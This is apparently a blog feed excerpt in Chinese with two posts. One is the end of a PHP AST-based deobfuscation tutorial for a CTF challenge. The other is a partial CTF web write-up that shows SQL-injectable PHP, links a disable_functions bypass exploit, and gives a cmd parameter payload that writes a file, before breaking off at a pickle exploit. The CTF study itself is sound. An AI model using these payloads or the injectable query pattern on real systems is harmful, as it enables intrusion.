class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ArrayToConstant</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> $_variableName = <span class="string">''</span>;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@var</span> array</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> $_constants = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">enterNode</span><span class="params">(Node $node)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">// 判断 unserialize(base64_decode('xxx'))</span></span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Expr\Assign &amp;&amp;</span><br><span class="line">            $node-&gt;expr <span class="keyword">instanceof</span> Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;name <span class="keyword">instanceof</span> Node\Name &amp;&amp;</span><br><span class="line">            is_string($node-&gt;expr-&gt;name-&gt;parts[<span class="number">0</span>]) &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;name-&gt;parts[<span class="number">0</span>] == <span class="string">'unserialize'</span> &amp;&amp;</span><br><span class="line">            count($node-&gt;expr-&gt;args) === <span class="number">1</span> &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;args[<span class="number">0</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value <span class="keyword">instanceof</span> Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name <span class="keyword">instanceof</span> Node\Name &amp;&amp;</span><br><span class="line">            is_string($node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name-&gt;parts[<span class="number">0</span>]) &amp;&amp;</span><br><span class="line">            $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name-&gt;parts[<span class="number">0</span>] == <span class="string">'base64_decode'</span></span><br><span class="line">        ) &#123;</span><br><span class="line">            $string = $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value;</span><br><span class="line">            $array = unserialize(base64_decode($string));</span><br><span class="line">            <span class="keyword">$this</span>-&gt;_variableName = $node-&gt;var-&gt;name;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;_constants = $array;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\Assign($node-&gt;var, Node\Scalar\LNumber::fromString(<span class="string">"0"</span>));</span><br><span class="line">        &#125;<span class="keyword">else</span> <span class="keyword">if</span>( <span class="comment">// 判断 ('unserialize')(('base64_decode')('xxx') </span></span><br><span class="line">                $node <span class="keyword">instanceof</span> Node\Expr\Assign &amp;&amp;</span><br><span class="line">                $node-&gt;expr <span class="keyword">instanceof</span> Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">                $node-&gt;expr-&gt;name <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">                is_string($node-&gt;expr-&gt;name-&gt;value) &amp;&amp;</span><br><span class="line">                $node-&gt;expr-&gt;name-&gt;value == <span class="string">'unserialize'</span> &amp;&amp;</span><br><span class="line">                count($node-&gt;expr-&gt;args) === <span class="number">1</span> &amp;&amp;</span><br><span class="line">                $node-&gt;expr-&gt;args[<span class="number">0</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">                $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value <span class="keyword">instanceof</span> Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">                $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">                is_string($node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name-&gt;value) &amp;&amp; </span><br><span class="line">                $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;name-&gt;value == <span class="string">'base64_decode'</span>)</span><br><span class="line">                &#123;</span><br><span class="line">                    $string = $node-&gt;expr-&gt;args[<span class="number">0</span>]-&gt;value-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value;</span><br><span class="line">                    $array = unserialize(base64_decode($string));</span><br><span class="line">                    <span class="keyword">$this</span>-&gt;_variableName = $node-&gt;var-&gt;name;</span><br><span class="line">                    <span class="keyword">$this</span>-&gt;_constants = $array;</span><br><span class="line">                    <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\Assign($node-&gt;var, Node\Scalar\LNumber::fromString(<span class="string">"0"</span>));</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;_variableName === <span class="string">''</span>) <span class="keyword">return</span>;</span><br><span class="line">        <span class="keyword">if</span> (</span><br><span class="line">            $node <span class="keyword">instanceof</span> Node\Expr\ArrayDimFetch &amp;&amp;</span><br><span class="line">            $node-&gt;var-&gt;name === <span class="keyword">$this</span>-&gt;_variableName</span><br><span class="line">        ) &#123;</span><br><span class="line">            $val = <span class="keyword">$this</span>-&gt;_constants[$node-&gt;dim-&gt;value];</span><br><span class="line">            <span class="keyword">if</span> ($val === <span class="keyword">null</span>)&#123;  <span class="comment">// 判断该 GLOBALS 值是否存在</span></span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (is_string($val)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\String_($val);</span><br><span class="line">            &#125; <span class="keyword">elseif</span> (is_double($val)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\DNumber($val);</span><br><span class="line">            &#125; <span class="keyword">elseif</span> (is_int($val)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\LNumber($val);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\ConstFetch(<span class="keyword">new</span> Node\Name\FullyQualified(json_encode($val)));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解-GLOBALS-键名混淆"><a href="#解-GLOBALS-键名混淆" class="headerlink" title="解 GLOBALS 键名混淆"></a>解 GLOBALS 键名混淆</h3><p>这个其实不是很必要，对逻辑没啥影响，不过看起来会工整些</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// GLOBALS 键值重命名</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">reNameArr</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 计数</span></span><br><span class="line">    <span class="keyword">private</span> $arrCount = [];</span><br><span class="line">    <span class="comment">// 替换数组</span></span><br><span class="line">    <span class="keyword">private</span> $arrReName = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ( $node <span class="keyword">instanceof</span> Node\Expr\ArrayDimFetch &amp;&amp; !($node-&gt;var <span class="keyword">instanceof</span> Node\Expr\ArrayDimFetch) &amp;&amp; !($node-&gt;dim <span class="keyword">instanceof</span> Node\Expr\ArrayDimFetch) ) &#123;</span><br><span class="line">            $key = $node-&gt;dim-&gt;value;</span><br><span class="line">            $arrName = $node-&gt;var-&gt;name;</span><br><span class="line">            <span class="keyword">if</span> (!preg_match(<span class="string">'/^[a-zA-Z0-9_]+$/'</span>, $key)) &#123;</span><br><span class="line">                <span class="comment">// 计数数组有改数组名记录</span></span><br><span class="line">                <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;arrCount[$arrName] !== <span class="keyword">null</span>)&#123;</span><br><span class="line">                    <span class="comment">// 判断该数组当前键值</span></span><br><span class="line">                    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;arrReName[$arrName][$key]  !== <span class="keyword">null</span>)&#123;</span><br><span class="line">                        $new_key_name = str_replace($key, <span class="string">'key_'</span> . <span class="keyword">$this</span>-&gt;arrReName[$arrName][$key], $key);</span><br><span class="line">                        <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\ArrayDimFetch( <span class="keyword">new</span> Node\Expr\Variable($arrName), <span class="keyword">new</span> Node\Scalar\String_($new_key_name) );</span><br><span class="line">                    &#125;<span class="keyword">else</span>&#123; <span class="comment">// 未替换该键值的操作</span></span><br><span class="line">                        <span class="keyword">$this</span>-&gt;arrReName[$arrName][$key] = <span class="keyword">$this</span>-&gt;arrCount[$arrName]++;</span><br><span class="line">                        $new_key_name = str_replace($key, <span class="string">'key_'</span> . <span class="keyword">$this</span>-&gt;arrReName[$arrName][$key], $key);</span><br><span class="line">                        <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\ArrayDimFetch( <span class="keyword">new</span> Node\Expr\Variable($arrName), <span class="keyword">new</span> Node\Scalar\String_($new_key_name) );</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;<span class="keyword">else</span>&#123; <span class="comment">// 未记录该数组</span></span><br><span class="line">                    <span class="comment">// 创建</span></span><br><span class="line">                    <span class="keyword">$this</span>-&gt;arrReName[$arrName] = [];</span><br><span class="line">                    <span class="comment">// 该数组计数</span></span><br><span class="line">                    <span class="keyword">$this</span>-&gt;arrCount[$arrName] = <span class="number">0</span>;</span><br><span class="line">                    <span class="keyword">$this</span>-&gt;arrReName[$arrName][$key] = <span class="keyword">$this</span>-&gt;arrCount[$arrName]++;</span><br><span class="line">                    $new_key_name = str_replace($key, <span class="string">'key_'</span> . <span class="keyword">$this</span>-&gt;arrReName[$arrName][$key], $key);</span><br><span class="line">                    <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\ArrayDimFetch( <span class="keyword">new</span> Node\Expr\Variable($arrName), <span class="keyword">new</span> Node\Scalar\String_($new_key_name) );</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> ;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="计算数字表达式"><a href="#计算数字表达式" class="headerlink" title="计算数字表达式"></a>计算数字表达式</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 计算表达式</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ExpressionToNumber</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Expr\BinaryOp\Plus &amp;&amp;</span><br><span class="line">            ($node-&gt;left <span class="keyword">instanceof</span> Node\Scalar\LNumber || $node-&gt;left <span class="keyword">instanceof</span> Node\Scalar\String_ || $node-&gt;left <span class="keyword">instanceof</span> Node\Expr\UnaryMinus) &amp;&amp; $node-&gt;right <span class="keyword">instanceof</span> Node\Expr\BinaryOp\Minus &amp;&amp; ($node-&gt;right-&gt;left <span class="keyword">instanceof</span> Node\Scalar\LNumber || $node-&gt;right-&gt;left <span class="keyword">instanceof</span> Node\Scalar\String_) &amp;&amp; ($node-&gt;right-&gt;right <span class="keyword">instanceof</span> Node\Scalar\LNumber || $node-&gt;right-&gt;right <span class="keyword">instanceof</span> Node\Scalar\String_)) &#123;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> ($node-&gt;left <span class="keyword">instanceof</span> Node\Expr\UnaryMinus) &#123;</span><br><span class="line">                $a = -($node-&gt;left-&gt;expr-&gt;value);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    $a = $node-&gt;left-&gt;value;</span><br><span class="line">            &#125;</span><br><span class="line">            $b = $node-&gt;right-&gt;left-&gt;value;</span><br><span class="line">            $c = $node-&gt;right-&gt;right-&gt;value;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\LNumber($a + $b - $c);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时通过再次使用 ArrayToConstant 遍历一下各节点就可以很好的去掉 unserialize + base64_decode 和 GLOBALS 混淆了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200324023908673.png" alt="image-20200324023908673"></p><h3 id="解-chr-函数混淆"><a href="#解-chr-函数混淆" class="headerlink" title="解 chr 函数混淆"></a>解 chr 函数混淆</h3><p>遍历 AST 找到  <code>(chr)(101)</code> 这类节点使用 chr 函数获取字符串值然后替换该节点</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 解 chr 函数混淆</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">chr2Str</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">            is_string($node-&gt;name-&gt;value) &amp;&amp;</span><br><span class="line">            $node-&gt;name-&gt;value == <span class="string">'chr'</span> &amp;&amp;</span><br><span class="line">            count($node-&gt;args) === <span class="number">1</span> &amp;&amp;</span><br><span class="line">            $node-&gt;args[<span class="number">0</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">            $node-&gt;args[<span class="number">0</span>]-&gt;value <span class="keyword">instanceof</span> Node\Scalar\LNumber</span><br><span class="line">        )&#123;</span><br><span class="line">            $the_num = $node-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\String_(chr($the_num));</span><br><span class="line">        &#125;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时再计算一次数字表达式然后去 chr 函数，看看效果</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200324024355732.png" alt="image-20200324024355732"></p><h3 id="解字符拼接混淆"><a href="#解字符拼接混淆" class="headerlink" title="解字符拼接混淆"></a>解字符拼接混淆</h3><p>找到 concat 节点，拼接左右的字符串</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 解字符拼接混淆</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">concat2Str</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($node <span class="keyword">instanceof</span> Node\Expr\BinaryOp\Concat)&#123;</span><br><span class="line">            <span class="keyword">if</span> ($node-&gt;left <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp; </span><br><span class="line">                is_string($node-&gt;left-&gt;value) &amp;&amp;</span><br><span class="line">                $node-&gt;right <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">                is_string($node-&gt;right-&gt;value) </span><br><span class="line">                )&#123;</span><br><span class="line">                <span class="keyword">return</span>  <span class="keyword">new</span> Node\Scalar\String_($node-&gt;left-&gt;value . $node-&gt;right-&gt;value);    </span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200324024553982.png" alt="image-20200324024553982"></p><h3 id="解-str-rot13-函数混淆"><a href="#解-str-rot13-函数混淆" class="headerlink" title="解 str_rot13 函数混淆"></a>解 str_rot13 函数混淆</h3><p>和上面解 chr 函数混淆差不多</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 解 str_rot13 函数混淆</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">rot13Decoder</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span><span class="params">(Node $node)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ( $node <span class="keyword">instanceof</span>  Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">            $node-&gt;name <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">            is_string( $node-&gt;name-&gt;value ) &amp;&amp;</span><br><span class="line">            $node-&gt;name-&gt;value == <span class="string">'str_rot13'</span> &amp;&amp;</span><br><span class="line">            count( $node-&gt;args ) === <span class="number">1</span> &amp;&amp;</span><br><span class="line">            $node-&gt;args[<span class="number">0</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">            $node-&gt;args[<span class="number">0</span>]-&gt;value <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">            is_string($node-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value)</span><br><span class="line">            )&#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="keyword">new</span> Node\Scalar\String_(str_rot13($node-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value));</span><br><span class="line">            &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="解-call-user-func-array-函数混淆"><a href="#解-call-user-func-array-函数混淆" class="headerlink" title="解 call_user_func_array 函数混淆"></a>解 call_user_func_array 函数混淆</h3><p>最后如果觉得 <code>(&#39;call_user_func_array&#39;)(&#39;call_user_func_array&#39;, $var_1)</code> 这种样子不太直观也可以替换一下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">callUserFuncDecoder</span> <span class="keyword">extends</span> <span class="title">NodeVisitorAbstract</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">leaveNode</span> <span class="params">(Node $node)</span></span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ( $node <span class="keyword">instanceof</span>  Node\Expr\FuncCall &amp;&amp;</span><br><span class="line">        $node-&gt;name <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">        is_string( $node-&gt;name-&gt;value ) &amp;&amp;</span><br><span class="line">        $node-&gt;name-&gt;value == <span class="string">'call_user_func_array'</span> &amp;&amp;</span><br><span class="line">        count( $node-&gt;args ) === <span class="number">2</span> &amp;&amp;</span><br><span class="line">        $node-&gt;args[<span class="number">0</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">        $node-&gt;args[<span class="number">1</span>] <span class="keyword">instanceof</span> Node\Arg &amp;&amp;</span><br><span class="line">        $node-&gt;args[<span class="number">0</span>]-&gt;value <span class="keyword">instanceof</span> Node\Scalar\String_ &amp;&amp;</span><br><span class="line">        is_string($node-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value) &amp;&amp;</span><br><span class="line">        $node-&gt;args[<span class="number">0</span>]-&gt;value-&gt;value == <span class="string">'call_user_func_array'</span></span><br><span class="line">        )&#123;</span><br><span class="line">            $varName = $node-&gt;args[<span class="number">1</span>]-&gt;value-&gt;name;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> Node\Expr\FuncCall(<span class="keyword">new</span> Node\Name(<span class="string">'call_user_func_array'</span>),[<span class="keyword">new</span> Node\Scalar\String_(<span class="string">'call_user_func_array'</span>), <span class="keyword">new</span> Node\Expr\Variable($varName)]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时已经基本没啥阅读障碍了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/php-Deobfuscator.assets/image-20200324024953338.png" alt="image-20200324024953338"></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://blog.zsxsoft.com/post/42" target="_blank" rel="noopener">https://blog.zsxsoft.com/post/42</a></p><p><a href="https://github.com/nikic/PHP-Parser/blob/master/doc" target="_blank" rel="noopener">https://github.com/nikic/PHP-Parser/blob/master/doc</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;以前段时间 XCTF 抗疫赛中的 hardphp 为例，该题目最终只有一只战队解出，题目作者 zsx 也在随后的文章中点了下解混淆的思路，不过在各 writeup 中没有找到有关解混淆的完整的代码，于是学习一下通过修改 AST 节点解混淆的方法&lt;/p&gt;
    
    </summary>
    
    
      <category term="PHP" scheme="http://j0k3r.top/tags/PHP/"/>
    
      <category term="AST" scheme="http://j0k3r.top/tags/AST/"/>
    
      <category term="混淆" scheme="http://j0k3r.top/tags/%E6%B7%B7%E6%B7%86/"/>
    
  </entry>
  
  <entry>
    <title>高校战“疫”网络安全分享赛 Web Partial WriteUp</title>
    <link href="http://j0k3r.top/2020/03/12/GYCTF-2020-WriteUp/"/>
    <id>http://j0k3r.top/2020/03/12/GYCTF-2020-WriteUp/</id>
    <published>2020-03-11T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:20.895Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="sqlcheckin"><a href="#sqlcheckin" class="headerlink" title="sqlcheckin"></a><strong>sqlcheckin</strong></h2><p>给出了源码（部分</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    $pdo = <span class="keyword">new</span> PDO(<span class="string">'mysql:host=localhost;dbname=sqlsql;charset=utf8;'</span>, <span class="string">'xxx'</span>, <span class="string">'xxx'</span>);</span><br><span class="line">    $pdo-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);</span><br><span class="line">    $stmt = $pdo-&gt;prepare(<span class="string">"SELECT username from users where username='$&#123;_POST['username']&#125;' and password='$&#123;_POST['password']&#125;'"</span>);</span><br><span class="line">    $stmt-&gt;execute();</span><br><span class="line">    $result = $stmt-&gt;fetchAll();</span><br><span class="line">    <span class="keyword">if</span> (count($result) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($result[<span class="number">0</span>][<span class="string">'username'</span>] == <span class="string">'admin'</span>) &#123;</span><br><span class="line">            <span class="keyword">include</span>(<span class="string">'flag.php'</span>);</span><br><span class="line">            <span class="keyword">exit</span>();</span><br><span class="line">    <span class="comment">// ....</span></span><br></pre></td></tr></table></figure><p>手动测了很久，发现挺严格的</p><p>waf 过滤不少字符和语句，最后用字典 fuzz 几次，就得到了 flag，这里利用的是 MySQL 字符串与数字比较会自动转换的一个 trick</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200307154020022.png" alt="image-20200307154020022"></p><h2 id="PHP-UAF"><a href="#PHP-UAF" class="headerlink" title="PHP-UAF"></a><strong>PHP-UAF</strong></h2><p>PHP 7.0 &lt; 7.4 (Unix) - ‘debug_backtrace’ disable_functions Bypass</p><p><a href="https://www.exploit-db.com/exploits/48072" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/48072</a></p><p><a href="https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass" target="_blank" rel="noopener">https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass</a></p><p>测试可以直接  <code>?cmd=print_r(file_put_contents(%27../111%27,%27test%27));</code> 写入文件</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200308000829347.png" alt="image-20200308000829347"></p><p>而且清理的并不及时，经常能看到师傅们留下的脚本</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200307235052761.png" alt="image-20200307235052761"></p><p>直接使用就行了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/GYCTF-2020-WriteUp.assets/image-20200307235157336.png" alt="image-20200307235157336"></p><p>flag{SObARsac1TyC0V9B}</p><h2 id="webtmp"><a href="#webtmp" class="headerlink" title="webtmp"></a>webtmp</h2><p>Python 反序列化</p><p>不过过滤了 R 指令而且重写了<code>find_class</code>方法只允许包含<code>__main__</code>这一个 module</p><p>所以思路是通过 GLOBAL 指令引入变量，也就是题目中的 secret ，因为原变量的引用。在栈上修改它的值，从而导致原变量也被修改，覆盖原 secret，再最后反序列化即可，原理类似这篇文章：<a href="https://zhuanlan.zhihu.com/p/89132768" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/89132768</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 